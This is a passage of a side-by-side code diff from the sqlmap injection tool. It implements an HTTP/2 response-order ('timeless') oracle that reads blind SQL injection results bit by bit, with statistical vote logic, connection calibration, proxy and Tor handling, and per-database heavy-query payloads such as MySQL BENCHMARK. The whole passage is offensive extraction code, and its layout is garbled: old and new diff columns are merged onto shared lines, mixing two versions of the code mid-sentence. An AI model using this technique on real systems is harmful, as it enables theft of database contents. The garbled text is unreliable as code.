% (results[loSid][0], results[hiSid][0], expectStatus))
def readBit(connSource, reqCond, reqNeg, votes=5, timeout=30): # Wald sequential probability ratio test (SPRT) parameters for readBit(). The two hypotheses are the two
"""Read one boolean by the cond-last FRACTION over symmetric pairs, ESCALATING when the fraction is # populations a cond-last vote can be drawn from:
ambiguous (load-degraded). `connSource` is a live connection or a factory (see _pairOrder) so a # H1 (bit TRUE) - reqCond runs the heavy branch, so it finishes last with probability ~SPRT_P_TRUE
connection dropped mid-vote (e.g. server GOAWAY) is replaced and that pair re-sent transparently. # H0 (bit FALSE) - reqCond is the cheap one and finishes last with probability ~0 (real false / NULL
# end-of-string) or ~0.5 (a DBMS that ERRORS past the end of a string, e.g. CockroachDB,
# where both requests error and the order is a coin flip)
# H0 is therefore modelled at the WORST of those, p=0.5 - the boundary the test has to hold against, and
# the reason the decision line cannot simply sit at 0.5. Both error rates are bounded by SPRT_ERROR by
# construction, which the old "fraction >= 0.8 -> True, <= 0.5 -> False" rule was not: it could return
# FALSE the moment a single late vote dragged the running fraction back to 0.5 (3/5 -> 3/6 decided at six
# votes despite a cap of 25), giving a genuine but load-degraded TRUE bit a double-digit miss rate.
# H1 is picked from the calibration the target actually measured, exactly as the old rule picked its vote
# count from it. On a target whose tuning sweep came back UNANIMOUS the votes really are deterministic:
# measured live (MariaDB 11.8 over HTTP/2), 45 bits / 1350 votes idle and 188 bits / 5640 votes under 4x
# self-induced load produced 1.00 on every TRUE bit and 0.00 on every FALSE one - not one disagreeing vote
# in 6990. That is what the separation gate buys (MIN_HEAVY_MS x loadFactor and MIN_SEPARATION_FRAC force a
# cost whose delta dwarfs intra-pair jitter), so modelling H1 near 1.0 there is a measurement, not
# optimism - and it keeps a bit at the same ~5 pairs the old fixed rule spent. A sweep that came back
# BELOW unanimous says the delta is marginal, and gets the conservative model plus a bigger minimum sample.
SPRT_P_TRUE = 0.85 # conservative model: a target that calibrated below unanimous
SPRT_P_TRUE_CLEAN = 0.97 # ... and one whose tuning sweep did not miss a single trial
SPRT_ERROR = 0.02 # bound on BOTH the false-positive and the false-negative rate
SPRT_CAP_FACTOR = 16 # ceiling, in multiples of the minimum sample, for an undecided bit
# Realised error/cost per bit, 20k simulated bits per operating point (`p` = per-vote cond-last probability):
# p=1.00 p=0.95 p=0.90 p=0.80 p=0.50 (eos coin flip)
# clean (0.97, 4) 0.0% / 6 1.9% / 8 10% / 10 49% / 12 1.8% / 6
# marginal (0.85, 8) 0.0% / 8 0.0% / 10 0.1% / 12 5.1% / 21 1.4% / 14
# old rule 0.0% / 5 - - ~15% / 5 ~20% / 5
# Both settings crush the end-of-string coin flip that used to invent trailing characters (~20% -> ~1.5%),
# which is the failure this decision engine exists to prevent. The clean setting trades tolerance of a
# degraded p for that, so it is only granted when calibration was perfect AND every connection has to
# prove the same unanimity before it may read a bit (see VERIFY_THRESHOLD_CLEAN) - a connection that
# cannot is not in the regime the model describes, and falling back to classic time-based is the correct
# answer for it rather than reading bits at 49%.
def readBit(connSource, reqCond, reqNeg, votes=4, timeout=30, expectStatus=None, pTrue=SPRT_P_TRUE):
"""Read one boolean from symmetric pairs by a sequential likelihood-ratio test on the cond-last votes.
`connSource` is a live connection or a factory (see _pairOrder) so a connection the server retires
mid-read is replaced and that pair re-sent transparently.
reqCond does the heavy work iff the guessed condition is TRUE; reqNeg does the SAME heavy work iff the reqCond does the heavy work iff the guessed condition is TRUE; reqNeg does the SAME heavy work iff the
condition is FALSE (it carries the negated condition). Exactly one runs heavy, so whichever finishes condition is FALSE (it carries the negated condition). Exactly one runs heavy, so whichever finishes
LAST names the answer. Each vote alternates which stream id carries reqCond (cancels lower-id-first bias) LAST names the answer. Votes alternate which stream id carries reqCond, and a decision is only taken on
and counts how often reqCond finished last: an EVEN vote count, so both orderings contribute equally and lower-id-first bias cancels exactly.
- real TRUE -> reqCond (heavy) finishes last almost every vote -> fraction ~1.0
- real FALSE -> reqNeg (heavy) finishes last -> fraction ~0.0 Each vote updates the log-likelihood ratio of H1 (TRUE, cond-last with probability `pTrue`) against
- END-OF-STRING -> the comparison is NULL, and negatePayload's NULL-safe negation makes reqNeg run H0 (FALSE, cond-last with probability up to 0.5 - see the constants above); crossing +/-log((1-e)/e)
heavy on that NULL, so reqCond finishes first -> fraction ~0.0 (on a DBMS that instead ERRORS past decides with both error rates bounded by SPRT_ERROR. This is also CHEAPER than a fixed sample on the
the end - CockroachDB - both requests error and it is a ~0.5 coin flip). common case: an unambiguous FALSE (every vote cond-first) settles in the minimum sample, an unambiguous
Decision: fraction >= 0.8 -> TRUE; <= 0.5 -> FALSE (covers real-false ~0, NULL end-of-string ~0, and TRUE shortly after, while an ambiguous bit - where --threads workers contend and drag the fraction into
CockroachDB error end-of-string ~0.5, so the string terminates cleanly instead of inventing phantom the middle - simply keeps voting instead of guessing. Reaching the cap without a crossing decides by the
trailing characters). The 0.5-0.8 band is where a genuine TRUE bit lands when self-induced load (e.g. likelier hypothesis. SYMMETRIC, so the base query time cancels - robust where absolute pair-time, gap,
--threads: N value-parallel workers => ~Nx heavy queries contend and add jitter, though calibration was and always-heavy-reference signals are confounded."""
single-threaded) drags its fraction down; that is NOT a mean shift but variance, so we ESCALATE - keep bound = math.log((1.0 - SPRT_ERROR) / SPRT_ERROR)
voting up to a cap and average it out - which recovers it above 0.8 without lowering the threshold (a stepLast = math.log(pTrue / 0.5) # a cond-last vote: evidence for TRUE
lower threshold would misread CockroachDB's ~0.5 error-eos as a character). SYMMETRIC, so the base query stepFirst = math.log((1.0 - pTrue) / 0.5) # a cond-first vote: (stronger) evidence for FALSE
time cancels - robust where absolute pair-time, gap, and always-heavy-reference signals are confounded.""" minVotes = max(2, votes + votes % 2)
condLast, i = 0, 0 cap = minVotes * SPRT_CAP_FACTOR
cap = votes * 5 # escalation ceiling for ambiguous (load-degraded) bits llr, i = 0.0, 0
while True: while True:
if i % 2 == 0: if i % 2 == 0:
first, loSid, _hiSid = _pairOrder(connSource, reqCond, reqNeg, timeout) first, condSid, _hiSid, _status = _pairOrder(connSource, reqCond, reqNeg, timeout, expectStatus=expectStatus)
condSid = loSid
else: else:
first, _loSid, hiSid = _pairOrder(connSource, reqNeg, reqCond, timeout) first, _loSid, condSid, _status = _pairOrder(connSource, reqNeg, reqCond, timeout, expectStatus=expectStatus)
condSid = hiSid llr += stepLast if first != condSid else stepFirst # cond finished last -> it ran heavy
if first != condSid: # reqCond finished last -> it ran heavy -> vote says TRUE
condLast += 1
i += 1 i += 1
if i < votes: # gather a minimum sample before deciding if i % 2 or i < minVotes: # decide only on a balanced sample, never below the minimum
continue continue
fraction = condLast / float(i) if llr >= bound:
if fraction >= 0.8:
return True return True
if fraction <= 0.5: if llr <= -bound:
return False return False
if i >= cap: # still ambiguous after escalating -> decide by the same threshold if i >= cap:
return fraction >= 0.8 return llr > 0.0
def calibrate(conn, reqSlow, reqFast, trials=40, threshold=0.9, timeout=30, progress=None): def calibrate(conn, reqSlow, reqFast, trials=40, threshold=0.9, timeout=30, progress=None, deadline=None, expectStatus=None):
"""Decide whether the target is usable for the timeless oracle. Sends a KNOWN-asymmetric pair """Decide whether `conn` is usable for the timeless oracle. Sends a KNOWN-asymmetric pair (reqSlow does
(reqSlow does real extra work, reqFast short-circuits) in BOTH stream-id orderings; on a concurrent real extra work, reqFast short-circuits) in BOTH stream-id orderings; on a concurrent backend the slow
backend the slow request finishes last regardless of its id. Returns (usable, confidence) where request finishes last regardless of its id. Returns (usable, confidence, status) where confidence is the
confidence is the fraction of trials in which the slow request finished last. Below `threshold` the fraction of trials in which the slow request finished last and status is the HTTP status both streams
backend is serializing (or the delta is unreadable) -> caller must NOT use the oracle. `progress`, if consistently returned (the control every later read is validated against). Below `threshold` the backend
given, is called once per trial so the caller can stream a progress indicator.""" is serializing (or the delta is unreadable) -> caller must NOT use the oracle. `progress`, if given, is
slowLast = 0 called once per trial so the caller can stream a progress indicator. `deadline` is an absolute
time.time() budget: a target that answers just slowly enough could otherwise keep calibration alive
indefinitely, since the per-socket timeout only bounds one exchange."""
slowLast, status = 0, None
for i in range(trials): for i in range(trials):
if deadline is not None and time.time() > deadline:
return False, 0.0, status
if i % 2 == 0: if i % 2 == 0:
first, loSid, _hiSid = _pairOrder(conn, reqSlow, reqFast, timeout) first, slowSid, _hiSid, status = _pairOrder(conn, reqSlow, reqFast, timeout, expectStatus=expectStatus)
slowSid = loSid
else: else:
first, _loSid, hiSid = _pairOrder(conn, reqFast, reqSlow, timeout) first, _loSid, slowSid, status = _pairOrder(conn, reqFast, reqSlow, timeout, expectStatus=expectStatus)
slowSid = hiSid
if first != slowSid: if first != slowSid:
slowLast += 1 slowLast += 1
expectStatus = status # from the first pair on, demand a stable response class
if progress is not None: if progress is not None:
progress() progress()
confidence = slowLast / float(trials) if trials else 0.0 confidence = slowLast / float(trials) if trials else 0.0
return (confidence >= threshold), confidence return (confidence >= threshold), confidence, status
def connect(host, port=443, proxy=None, timeout=30): def connect(host, port=443, proxy=None, timeout=30):
@@ -157,99 +247,192 @@ def connect(host, port=443, proxy=None, timeout=30):
return _H2Connection(host, port, proxy, timeout) return _H2Connection(host, port, proxy, timeout)
def proxyProfile():
"""The HTTP-proxy tuple the native h2 client needs for the current run, or None when there is none.
Every timeless connection must go through it: the client calls socket.create_connection() itself, so
it is reached by neither the urllib proxy handlers nor the socks module-wrapping '--tor' installs -
connecting anyway would send the real source address straight to the target. SOCKS the native client
cannot speak at all, so that raises ValueError and timeless declines instead of bypassing it."""
from lib.core.data import conf
from lib.request.http2 import proxy_tuple
if conf.tor and not conf.proxy: # SOCKS Tor: only the httplib socket is wrapped, ours is not
raise ValueError("native HTTP/2 client does not support SOCKS proxies")
return proxy_tuple(conf.proxy, conf.proxyCred)
# Per-connection re-calibration of a worker/replacement connection. Shorter than the initial tuning sweep
# (the cost is already picked - this only has to prove that THIS connection's backend handles the two
# streams concurrently and answers with the calibrated status) but strict, because a connection that quietly
# serializes returns wrong bits without ever raising.
VERIFY_TRIALS = 10
VERIFY_THRESHOLD = 0.9
# ... and the bar a connection must clear to be read at the CLEAN model (SPRT_P_TRUE_CLEAN): unanimous, the
# same thing the tuning sweep saw and the same thing 6990 live votes produced. Not a harsh bar on a target
# that belongs in that regime - and a connection that misses it is precisely one the clean model would
# misread, so rejecting it (scan falls back to classic time-based) is the answer, not admitting it.
VERIFY_THRESHOLD_CLEAN = 1.0
# Pairs sent on one connection before its control probe is re-run, to catch runtime drift (a backend that
# starts serializing under load, a node swapped in behind the balancer). ~100 bits apart, so the re-check
# costs ~2% of the pairs. Response-status drift needs no schedule - every pair is validated against the
# calibrated status.
VERIFY_EVERY = 500
class TimelessOracle(object): class TimelessOracle(object):
"""The engaged timeless-timing oracle, held on kb.timeless while active. queryPage() routes every """The engaged timeless-timing oracle, held on kb.timeless while active. queryPage() routes every
boolean comparison (timeBasedCompare requests) here instead of measuring wall-clock time: it takes the boolean comparison (timeBasedCompare requests) here instead of measuring wall-clock time: it takes the
already-assembled condition request (built via buildOnly), pairs it against a FIXED always-heavy already-assembled condition request and its negation (both built via buildOnly), coalesces them into one
reference and reads the bit from response order. This reuses the entire bisection/inference/threading multiplexed pair and reads the bit from response order. This reuses the entire bisection/inference/
stack unchanged - bisection just calls queryPage and gets a bool. threading stack unchanged - bisection just calls queryPage and gets a bool.
Thread safety: each worker thread gets its OWN H2 connection (threading.local), mirroring keepalive.py Thread safety: each worker thread gets its OWN H2 connection (threading.local), mirroring keepalive.py
and the http2 pool - streams from different threads never interleave on one socket, so parallel and the http2 pool - streams from different threads never interleave on one socket, so parallel
per-value extraction (--threads / _threadedInferenceValues) is safe. The reference request is an per-value extraction (--threads / _threadedInferenceValues) is safe.
immutable spec-derived dict, so it is shared read-only across threads."""
def __init__(self, host, port, refReq, proxy=None, asymVotes=12, votes=5, timeout=30): Every connection is calibrated BEFORE it reads a bit - the initial sweep proves one connection to one
backend node, which says nothing about the per-thread connections opened afterwards or a replacement
opened after a GOAWAY (a load balancer can route those to a node that serializes streams). The
known-asymmetric probe pair used for that, and the response status it produced, are held here and
re-checked periodically so runtime drift is caught rather than silently extracted through."""
def __init__(self, host, port, probeSlow, probeFast, proxy=None, votes=4, timeout=30, status=None,
pTrue=SPRT_P_TRUE, verifyThreshold=VERIFY_THRESHOLD):
self.host, self.port, self.proxy = host, port, proxy self.host, self.port, self.proxy = host, port, proxy
self.refReq = refReq # fixed always-heavy reference request (asymmetric tiebreak) self.probeSlow, self.probeFast = probeSlow, probeFast # known-asymmetric pair, for (re)calibration
self.asymVotes = asymVotes # asymmetric tiebreak: fixed pairs, fraction-thresholded self.status = status # response status calibration saw; every read is validated against it
self.votes = votes # symmetric: pairs per bit, cond-last fraction thresholded (readBit); self.votes = votes # minimum (balanced) pairs per bit before readBit's SPRT may decide
# enough votes that TRUE ~100% and end-of-string ~50% separate cleanly self.pTrue = pTrue # per-vote reliability modelled for a TRUE bit (from calibration)
self.verifyThreshold = verifyThreshold # bar a connection must clear to read at that model
self.timeout = timeout self.timeout = timeout
self._local = threading.local() self._local = threading.local()
self._conns = [] # every opened connection, for clean teardown self._conns = [] # every opened connection, for clean teardown
self._lock = threading.Lock() self._lock = threading.Lock()
self.savedTechnique = None # active technique whose vector we swapped (restored on disengage) self._closed = False
self.savedData = None # injection data whose vector we swapped (restored on disengage)
self.savedVector = None self.savedVector = None
def _verify(self, conn):
"""Prove that `conn` reads bits correctly, or raise. Raising here is the safe outcome: connect.py
disengages and the scan resumes on classic time-based."""
usable, confidence, status = calibrate(conn, self.probeSlow, self.probeFast, trials=VERIFY_TRIALS,
threshold=self.verifyThreshold, timeout=self.timeout,
expectStatus=self.status)
if not usable:
raise TimelessUnusable("connection failed timeless calibration (confidence %.2f)" % confidence)
if self.status is None:
self.status = status
def _retire(self, conn):
"""Close `conn` and forget it, so neither a reconnect nor teardown touches it again."""
self._local.conn = None
try:
conn.close()
except Exception:
pass
with self._lock:
try:
self._conns.remove(conn)
except ValueError:
pass
def _conn(self): def _conn(self):
conn = getattr(self._local, "conn", None) conn = getattr(self._local, "conn", None)
if conn is None or not conn.usable: reads = getattr(self._local, "reads", 0)
if conn is not None: # retire the dead one so reconnects don't leak sockets if conn is not None and conn.usable:
try: if reads < VERIFY_EVERY:
conn.close() self._local.reads = reads + 1
except Exception: return conn
pass try: # still alive, but due a drift re-check
with self._lock: self._verify(conn)
try: except Exception:
self._conns.remove(conn) self._retire(conn)
except ValueError: raise
pass self._local.reads = 1
conn = self._local.conn = connect(self.host, self.port, self.proxy, self.timeout) return conn
with self._lock:
self._conns.append(conn) if conn is not None: # retire the dead one so reconnects don't leak sockets
self._retire(conn)
conn = connect(self.host, self.port, self.proxy, self.timeout)
with self._lock:
if self._closed: # disengaged while this socket was being opened
conn.close()
raise TimelessUnusable("timeless oracle was closed")
self._conns.append(conn)
try:
self._verify(conn) # never read a bit off an uncalibrated connection
except Exception:
self._retire(conn)
raise
self._local.conn, self._local.reads = conn, 1
return conn return conn
def readBitFromSpecs(self, condSpec, negSpec=None): def readBitFromSpecs(self, condSpec, negSpec):
"""Read the bit from the assembled condition request and, when available, its negation. With a """Read the bit from the assembled condition request and its negation, by the SYMMETRIC oracle
negSpec the SYMMETRIC oracle is used (cond-last fraction over votes - base query time cancels, so it (cond-last votes over coalesced pairs - the base query time cancels, so it stays reliable on heavy or
stays reliable on heavy/noisy enumeration queries and detects end-of-string as the ~50% split). The noisy enumeration queries and reads end-of-string as the ~50% split). Specs are the
asymmetric-vs-reference path is only a fallback for a non-sentinel vector (no negSpec) and must not
be used for a heavy-base condition (the trivial-base reference is not comparable). Specs are the
(url, method, headers, post) tuples from getPage(buildOnly=True).""" (url, method, headers, post) tuples from getPage(buildOnly=True)."""
reqCond = _specToReq(condSpec, self.host)
# Pass the bound _conn factory (not a resolved connection) so a pair whose connection is retired # Pass the bound _conn factory (not a resolved connection) so a pair whose connection is retired
# mid-read (server GOAWAY on a long dump) is transparently re-sent on a fresh one. # mid-read (server GOAWAY on a long dump) is transparently re-sent on a fresh, re-calibrated one.
if negSpec is not None: return readBit(self._conn, _specToReq(condSpec, self.host), _specToReq(negSpec, self.host),
return readBit(self._conn, reqCond, _specToReq(negSpec, self.host), votes=self.votes, timeout=self.timeout) votes=self.votes, timeout=self.timeout, expectStatus=self.status, pTrue=self.pTrue)
return readBitAsymmetric(self._conn, reqCond, self.refReq, self.asymVotes, self.timeout)
def close(self): def close(self):
with self._lock: with self._lock:
for conn in self._conns: self._closed = True # set BEFORE closing, so a connection opened concurrently by a
try: conns, self._conns = self._conns, [] # worker is closed by _conn() instead of resurrected
conn.close() for conn in conns:
except Exception: try:
pass conn.close()
self._conns = [] except Exception:
pass
def engage(host, port, vector, proxy=None, timeout=30): def engage(oracle, technique, vector):
"""Build the fixed always-heavy reference from `vector` (INFERENCE=1=1) and install a per-thread """Publish a fully-built `oracle` on kb.timeless, swapping `technique`'s vector for the tuned heavy one
TimelessOracle on kb.timeless (connections open lazily per worker thread). queryPage picks it up so every extraction payload from here on gates the heavy branch and carries the sentinels the symmetric
automatically. Call disengage() when done. `vector` is the tuned rung-2 heavy vector (see tuneHeavy). oracle negates. Ordered so it is all-or-nothing: the vector swap (which alone would break classic
The reference is used by the asymmetric tiebreak when a symmetric read splits (end-of-string / noise).""" time-based) happens first and is rolled back if anything fails, and kb.timeless is published LAST, so a
failure can never leave a half-engaged oracle behind. disengage() undoes both."""
from lib.core.common import getTechniqueData
from lib.core.data import kb from lib.core.data import kb
refReq = _forgeRequest("1=1", host, vector) # hold the injection-data OBJECT, not the technique enum: disengage() can run after the controller has
kb.timeless = TimelessOracle(host, port, refReq, proxy=proxy, timeout=timeout) # moved on to the next target, and re-resolving the enum then would restore this target's vector onto
return kb.timeless # the next one's injection data.
data = getTechniqueData(technique)
oracle.savedData, oracle.savedVector = data, data.vector
data.vector = vector
try:
kb.timelessRestore = None # a previous target's straggler-rewrite must not outlive it
kb.timeless = oracle
except Exception:
data.vector = oracle.savedVector
raise
return oracle
def disengage(): def disengage():
"""Tear down the timeless oracle and close all per-thread connections.""" """Tear down the timeless oracle, restore the classic time-based vector and close all per-thread
connections. Restoration is not swallowed on failure: leaving the heavy (no-delay) vector in place
would make every subsequent classic time-based comparison read False."""
from lib.core.data import kb from lib.core.data import kb
oracle = kb.get("timeless") oracle = kb.get("timeless")
if oracle is not None: if oracle is not None:
if oracle.savedTechnique is not None:
try:
from lib.core.common import getTechniqueData
getTechniqueData(oracle.savedTechnique).vector = oracle.savedVector
except Exception:
pass
oracle.close()
kb.timeless = None kb.timeless = None
# Restoring the vector is NOT enough on its own: bisection freezes a comparison TEMPLATE from it
# when a value starts extracting, so the rest of the value in flight keeps forging heavy (no-delay)
# payloads that wall-clock comparison reads as False. Publish the classic vector so queryPage can
# re-forge those stragglers until bisection builds its next template. See restoreClassicValue().
kb.timelessRestore = oracle.savedVector
try:
if oracle.savedData is not None:
oracle.savedData.vector = oracle.savedVector
oracle.savedData = None
finally:
oracle.close()
def hintTimeless(): def hintTimeless():
@@ -280,8 +463,10 @@ def hintTimeless():
if parts.scheme != "https": if parts.scheme != "https":
return return
# cheap one-connection HTTP/2 ALPN probe: connect() raises unless the server negotiates 'h2' # cheap one-connection HTTP/2 ALPN probe: connect() raises unless the server negotiates 'h2'. It
conn = connect(parts.hostname, parts.port or 443, None, conf.timeout or 30) # goes through the configured proxy like every other request - probing direct would leak the real
# source address under '--tor'/'--proxy' (proxyProfile() refuses outright on SOCKS, so no hint).
conn = connect(parts.hostname, parts.port or 443, proxyProfile(), conf.timeout or 30)
conn.close() conn.close()
singleTimeWarnMessage("target speaks HTTP/2 - switch '--timeless' can extract this time-based injection " singleTimeWarnMessage("target speaks HTTP/2 - switch '--timeless' can extract this time-based injection "
"by relative response order (no delay), typically far faster. Consider re-running with '--timeless'") "by relative response order (no delay), typically far faster. Consider re-running with '--timeless'")
@@ -332,24 +517,38 @@ def _doAutoEngage(conf, kb, logger, Backend):
logger.warning("'--timeless' requires an https/HTTP-2 target. Falling back to classic time-based") logger.warning("'--timeless' requires an https/HTTP-2 target. Falling back to classic time-based")
return False return False
# '--chunked' rewrites the entity body into HTTP/1.1 chunked wire format, which buildOnly hands back
# verbatim; sent as an h2 DATA stream the server would read '4\r\ndata\r\n0\r\n\r\n' as the body.
if conf.chunked:
logger.warning("'--timeless' is incompatible with switch '--chunked'. Falling back to classic time-based")
return False
try:
proxy = proxyProfile()
except ValueError:
logger.warning("'--timeless' cannot use a SOCKS proxy (including '--tor'), and will not connect around it. Falling back to classic time-based")
return False
host, port = parts.hostname, parts.port or 443 host, port = parts.hostname, parts.port or 443
dbms = Backend.getIdentifiedDbms() dbms = Backend.getIdentifiedDbms()
if lightHeavyVector(dbms, LIGHT_HEAVY_COSTS[0]) is None: if lightHeavyVector(dbms, LIGHT_HEAVY_COSTS[0]) is None:
logger.warning("'--timeless' has no heavy-query primitive for DBMS '%s' yet. Falling back to classic time-based" % dbms) logger.warning("'--timeless' has no heavy-query primitive for DBMS '%s' yet. Falling back to classic time-based" % dbms)
return False return False
if _calibrationConditions(dbms)[0] is None:
logger.warning("'--timeless' cannot build a faithful calibration probe for DBMS '%s'. Falling back to classic time-based" % dbms)
return False
# Calibration sends a few hundred coalesced probe-pairs to measure the target's response-order # Calibration sends a few hundred coalesced probe-pairs to measure the target's response-order
# reliability and tune the work size - that is the pause the user sees before engagement. Announce # reliability and tune the work size - that is the pause the user sees before engagement. Announce
# it and stream a dot per probe, mirroring the classic time-based "statistical model, please wait". # it and stream a dot per probe, mirroring the classic time-based "statistical model, please wait".
import time as _time
from lib.core.common import dataToStdout from lib.core.common import dataToStdout
dataToStdout("[%s] [INFO] calibrating HTTP/2 timeless timing on '%s' (measuring response-order reliability), please wait" % (_time.strftime("%X"), dbms)) dataToStdout("[%s] [INFO] calibrating HTTP/2 timeless timing on '%s' (measuring response-order reliability), please wait" % (time.strftime("%X"), dbms))
probe = connect(host, port, None, conf.timeout or 30) probe = connect(host, port, proxy, conf.timeout or 30)
# value-parallel dumping runs conf.threads workers concurrently, each firing heavy queries; demand # value-parallel dumping runs conf.threads workers concurrently, each firing heavy queries; demand
# that much more calibration margin so the tuned cost survives the self-induced load (see tuneHeavy). # that much more calibration margin so the tuned cost survives the self-induced load (see tuneHeavy).
loadFactor = max(1, conf.threads or 1) loadFactor = max(1, conf.threads or 1)
try: try:
vector, cost, confidence = tuneHeavy(probe, dbms=dbms, progress=lambda: dataToStdout('.'), loadFactor=loadFactor) vector, cost, confidence, status, probeSlow, probeFast = tuneHeavy(probe, dbms=dbms, progress=lambda: dataToStdout('.'), loadFactor=loadFactor)
finally: finally:
probe.close() probe.close()
dataToStdout(" (done)\n") dataToStdout(" (done)\n")
@@ -358,37 +557,42 @@ def _doAutoEngage(conf, kb, logger, Backend):
logger.warning("HTTP/2 timeless timing is not usable on this target (confidence %.2f, backend likely serializes streams). Falling back to classic time-based" % confidence) logger.warning("HTTP/2 timeless timing is not usable on this target (confidence %.2f, backend likely serializes streams). Falling back to classic time-based" % confidence)
return False return False
oracle = engage(host, port, vector, timeout=conf.timeout or 30) # A sweep that did not miss a single trial licenses the CLEAN decision model (votes are
# Votes per bit for the cond-last fraction: enough that a real TRUE (~100%) clears the 80% threshold # deterministic on such a target - see the SPRT constants), which reads a bit in about the same
# and end-of-string (~50%) stays below it, with headroom for jitter. A perfectly-calibrated target # pairs the classic rule spent; every connection then has to reproduce that unanimity before it may
# needs fewer; a marginal one gets more. (No validateChar re-check runs under timeless.) # read. Anything less gets the conservative model and a bigger minimum sample.
oracle.votes = 5 if confidence >= 1.0 else 9 # (No validateChar re-check runs under timeless.)
clean = confidence >= 1.0
# bisection forges its comparison payloads from the TIME technique's vector - swap in the tuned oracle = TimelessOracle(host, port, probeSlow, probeFast, proxy=proxy, timeout=conf.timeout or 30,
# heavy (sentinel) vector NOW (before extraction builds any payload) so every condition request votes=4 if clean else 8, status=status,
# gates the heavy branch and carries the sentinels the symmetric oracle negates. Restored on pTrue=SPRT_P_TRUE_CLEAN if clean else SPRT_P_TRUE,
# disengage(). verifyThreshold=VERIFY_THRESHOLD_CLEAN if clean else VERIFY_THRESHOLD)
oracle.savedTechnique = PAYLOAD.TECHNIQUE.TIME # bisection forges its comparison payloads from the TIME technique's vector, so the swap to the
oracle.savedVector = timeData.vector # tuned heavy (sentinel) vector has to happen NOW, before extraction builds any payload. engage()
timeData.vector = vector # does that and publishes the oracle as one all-or-nothing step; disengage() undoes it.
engage(oracle, PAYLOAD.TECHNIQUE.TIME, vector)
logger.info("turning on HTTP/2 timeless timing (heavy cost %d, calibration %.2f) - reading bits by response order, no delay" % (cost, confidence)) logger.info("turning on HTTP/2 timeless timing (heavy cost %d, calibration %.2f) - reading bits by response order, no delay" % (cost, confidence))
return True return True
except Exception as ex: except Exception as ex:
from lib.core.common import getSafeExString from lib.core.common import getSafeExString
disengage()
logger.warning("HTTP/2 timeless timing setup failed ('%s'). Falling back to classic time-based" % getSafeExString(ex)) logger.warning("HTTP/2 timeless timing setup failed ('%s'). Falling back to classic time-based" % getSafeExString(ex))
return False return False
# Connection/h2-forbidden request headers that a coalesced pair must not carry (open_url strips the same
# set for single requests); ':authority' replaces Host, and content-length/framing are h2's job.
_FORBIDDEN_HEADERS = frozenset(("host", "connection", "keep-alive", "proxy-connection",
"transfer-encoding", "upgrade", "content-length"))
def _specToReq(spec, fallbackAuthority): def _specToReq(spec, fallbackAuthority):
"""Convert the (url, method, headers, post) tuple that Connect.getPage(buildOnly=True) returns into """Convert the (url, method, headers, post) tuple that Connect.getPage(buildOnly=True) returns into
the request dict exchange_pair expects.""" the request dict exchange_pair expects.
':authority' is taken from the assembled Host header whenever there is one, and only falls back to the
URL host otherwise: they legitimately differ under virtual hosting, '--host', or an injection point
that IS the Host header - deriving the authority from the URL would silently retarget the request (and,
for a Host-header injection, drop the payload, leaving both requests of the pair identical).
Header filtering is deliberately left to the HTTP/2 layer's _normalize_request_headers(), which drops
Host/Connection/framing fields AND the fields a Connection header nominates. Stripping Connection here
first would keep those nominated fields in an h2 request, which is malformed."""
try: try:
from urllib.parse import urlsplit from urllib.parse import urlsplit
except ImportError: except ImportError:
@@ -399,13 +603,14 @@ def _specToReq(spec, fallbackAuthority):
path = parts.path or "/" path = parts.path or "/"
if parts.query: if parts.query:
path += "?" + parts.query path += "?" + parts.query
reqHeaders = {} authority = None
for key in (headers or {}): for key in (headers or {}):
name = key.decode("latin-1") if isinstance(key, bytes) else key name = key.decode("latin-1") if isinstance(key, bytes) else key
if name.lower() not in _FORBIDDEN_HEADERS: if name.lower() == "host":
reqHeaders[key] = headers[key] authority = headers[key]
return {"method": method, "path": path, "authority": (parts.netloc.split("@")[-1] or fallbackAuthority), break
"headers": reqHeaders, "body": post} authority = authority or parts.netloc.split("@")[-1] or fallbackAuthority
return {"method": method, "path": path, "authority": authority, "headers": headers or {}, "body": post}
def getHeavyVector(dbms=None): def getHeavyVector(dbms=None):
@@ -414,7 +619,7 @@ def getHeavyVector(dbms=None):
ELSE <cheap> ...' gate, WAF-tuned and per-DBMS, so the heavy work provides the natural delta with no ELSE <cheap> ...' gate, WAF-tuned and per-DBMS, so the heavy work provides the natural delta with no
SLEEP. Prefers the plain 'AND' boundary variant. Returns None if none is loaded.""" SLEEP. Prefers the plain 'AND' boundary variant. Returns None if none is loaded."""
from lib.core.data import conf from lib.core.data import conf
from lib.core.common import Backend from lib.core.common import Backend, isListLike
dbms = dbms or Backend.getIdentifiedDbms() dbms = dbms or Backend.getIdentifiedDbms()
if not dbms: if not dbms:
@@ -426,7 +631,7 @@ def getHeavyVector(dbms=None):
if "heavy query" not in title.lower(): if "heavy query" not in title.lower():
continue continue
testDbms = ((test.get("details") or {}).get("dbms")) or "" testDbms = ((test.get("details") or {}).get("dbms")) or ""
testDbms = testDbms if isinstance(testDbms, str) else " ".join(testDbms) testDbms = " ".join(testDbms) if isListLike(testDbms) else testDbms
# tolerate combined labels like "Microsoft SQL Server/Sybase" # tolerate combined labels like "Microsoft SQL Server/Sybase"
if not (dbms.lower() in testDbms.lower() or any(part.strip().lower() == dbms.lower() for part in testDbms.split('/'))): if not (dbms.lower() in testDbms.lower() or any(part.strip().lower() == dbms.lower() for part in testDbms.split('/'))):
continue continue
@@ -470,7 +675,11 @@ def getHeavyVector(dbms=None):
# sub-threshold delta, it safely falls back. Keyed on DBMS.* so forks resolve via their base DBMS # sub-threshold delta, it safely falls back. Keyed on DBMS.* so forks resolve via their base DBMS
# (MariaDB/TiDB->MySQL, CockroachDB->PostgreSQL). # (MariaDB/TiDB->MySQL, CockroachDB->PostgreSQL).
_LH_MYSQL = "(SELECT BENCHMARK([COST],MD5(1)))" # MySQL/MariaDB: CPU burn, O(1) memory (TiDB hoists -> safe fallback) _LH_MYSQL = "(SELECT BENCHMARK([COST],MD5(1)))" # MySQL/MariaDB: CPU burn, O(1) memory (TiDB hoists -> safe fallback)
_LH_MSSQL = "(SELECT LEN(HASHBYTES('SHA2_512',REPLICATE(CAST('a' AS VARCHAR(MAX)),[COST]))))" # MSSQL/Sybase (VARCHAR(MAX) bypasses REPLICATE's 8000-byte cap) # MSSQL/Sybase: the sysusers cross-join is exactly the shipped heavy-query primitive (time_blind.xml), just
# bounded by TOP so the cost ladder means something and the work stays capped. A literal TOP keeps it valid
# on Sybase ASE too (which takes no expression there). Deliberately NOT HASHBYTES: SQL Server 2014 and older
# cap its input at 8000 bytes regardless of VARCHAR(MAX), so every rung of the ladder would error.
